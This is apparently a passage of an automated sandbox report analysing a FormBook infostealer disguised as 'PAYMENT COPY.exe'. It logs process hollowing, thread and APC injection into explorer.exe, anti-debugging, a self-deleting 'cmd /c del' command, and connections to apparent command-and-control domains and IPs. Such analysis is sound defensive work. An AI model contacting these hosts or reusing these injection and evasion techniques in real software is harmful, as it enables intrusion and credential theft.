Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04D9EA55 mov eax, dword ptr fs:[00000030h]		5_2_04D9EA55
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04CD9240 mov eax, dword ptr fs:[00000030h]		5_2_04CD9240
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04CD9240 mov eax, dword ptr fs:[00000030h]		5_2_04CD9240
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04CD9240 mov eax, dword ptr fs:[00000030h]		5_2_04CD9240
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04CD9240 mov eax, dword ptr fs:[00000030h]		5_2_04CD9240
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04D1927A mov eax, dword ptr fs:[00000030h]		5_2_04D1927A
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04D8B260 mov eax, dword ptr fs:[00000030h]		5_2_04D8B260

Enables debug privileges

Source: C:\Users\user\Desktop\PAYMENT COPY.exe

Process token adjusted: Debug

Jump to behavior

HIPS / PFW / Operating System Protection Evasion:

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\explorer.exe	Domain query: www.sportfest40.com
Source: C:\Windows\explorer.exe	Network Connect: 35.244.230.236 80			Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 23.227.38.74 80			Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: www.kakavjesajt.com
Source: C:\Windows\explorer.exe	Domain query: www.nescleanups.com
Source: C:\Windows\explorer.exe	Domain query: www.llmav.xyz
Source: C:\Windows\explorer.exe	Network Connect: 23.225.41.92 80			Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 52.79.124.173 80			Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: www.stripepayment.online
Source: C:\Windows\explorer.exe	Network Connect: 176.104.107.18 80			Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: www.beyoncos.com
Source: C:\Windows\explorer.exe	Domain query: www.35efb510815e.com
Source: C:\Windows\explorer.exe	Network Connect: 167.114.6.31 80			Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: www.360caiyin.com
Source: C:\Windows\explorer.exe	Domain query: www.mg-izkerr8.net
Source: C:\Windows\explorer.exe	Network Connect: 14.129.120.32 80			Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: www.cursosdigitaisbr.com
Source: C:\Windows\explorer.exe	Network Connect: 104.21.28.135 80			Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: www.cjaccessories.net

Contains functionality to prevent local Windows debugging

Source: C:\Users\user\Desktop\PAYMENT COPY.exe

Code function: 1_2_709B1000 Rcxlxosdkhvclf,IsDebuggerPresent,DebugBreak,GetTempPathW,lstrcatW,CreateFileW,GetFileSize,VirtualAlloc,ReadFile,VirtualProtect,

1_2_709B1000

Maps a DLL or memory area into another process

Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Section loaded: unknown target: C:\Users\user\Desktop\PAYMENT COPY.exe protection: execute and read and write			Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write			Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Section loaded: unknown target: C:\Windows\SysWOW64\msdt.exe protection: execute and read and write			Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Section loaded: unknown target: C:\Windows\SysWOW64\msdt.exe protection: execute and read and write			Jump to behavior
Source: C:\Windows\SysWOW64\msdt.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write			Jump to behavior
Source: C:\Windows\SysWOW64\msdt.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write			Jump to behavior

Modifies the context of a thread in another process (thread injection)

Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Thread register set: target process: 3440			Jump to behavior
Source: C:\Windows\SysWOW64\msdt.exe	Thread register set: target process: 3440			Jump to behavior

Queues an APC in another process (thread injection)

Source: C:\Users\user\Desktop\PAYMENT COPY.exe

Thread APC queued: target process: C:\Windows\explorer.exe

Jump to behavior

Sample uses process hollowing technique

Source: C:\Users\user\Desktop\PAYMENT COPY.exe

Section unmapped: C:\Windows\SysWOW64\msdt.exe base address: FF0000

Jump to behavior

Creates a process in suspended mode (likely to inject code)

Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Process created: C:\Users\user\Desktop\PAYMENT COPY.exe 'C:\Users\user\Desktop\PAYMENT COPY.exe'			Jump to behavior
Source: C:\Windows\SysWOW64\msdt.exe	Process created: C:\Windows\SysWOW64\cmd.exe /c del 'C:\Users\user\Desktop\PAYMENT COPY.exe'			Jump to behavior

May try to detect the Windows Explorer process (often used for injection)

Source: explorer.exe, 00000004.00000002.594810965.0000000000EE0000.00000002.00000001.sdmp, msdt.exe, 00000005.00000002.594985582.0000000003560000.00000002.00000001.sdmp	Binary or memory string: Shell_TrayWnd
Source: explorer.exe, 00000004.00000002.594810965.0000000000EE0000.00000002.00000001.sdmp, msdt.exe, 00000005.00000002.594985582.0000000003560000.00000002.00000001.sdmp	Binary or memory string: Progman
Source: explorer.exe, 00000004.00000002.594810965.0000000000EE0000.00000002.00000001.sdmp, msdt.exe, 00000005.00000002.594985582.0000000003560000.00000002.00000001.sdmp	Binary or memory string: &Program Manager
Source: explorer.exe, 00000004.00000002.594810965.0000000000EE0000.00000002.00000001.sdmp, msdt.exe, 00000005.00000002.594985582.0000000003560000.00000002.00000001.sdmp	Binary or memory string: Progmanlock

Stealing of Sensitive Information:

Yara detected FormBook

Source: Yara match	File source: 00000001.00000002.341537676.0000000002650000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.593833338.0000000000F20000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.593897899.0000000000F50000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.593224155.0000000000AD0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.378818035.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.379005544.00000000005C0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000001.335966959.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.379053655.00000000005F0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 2.1.PAYMENT COPY.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.PAYMENT COPY.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.PAYMENT COPY.exe.2650000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.PAYMENT COPY.exe.2650000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.1.PAYMENT COPY.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.PAYMENT COPY.exe.400000.0.unpack, type: UNPACKEDPE

Remote Access Functionality:

Yara detected FormBook

Source: Yara match	File source: 00000001.00000002.341537676.0000000002650000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.593833338.0000000000F20000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.593897899.0000000000F50000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.593224155.0000000000AD0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.378818035.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.379005544.00000000005C0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000001.335966959.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.379053655.00000000005F0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 2.1.PAYMENT COPY.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.PAYMENT COPY.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.PAYMENT COPY.exe.2650000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.PAYMENT COPY.exe.2650000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.1.PAYMENT COPY.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.PAYMENT COPY.exe.400000.0.unpack, type: UNPACKEDPE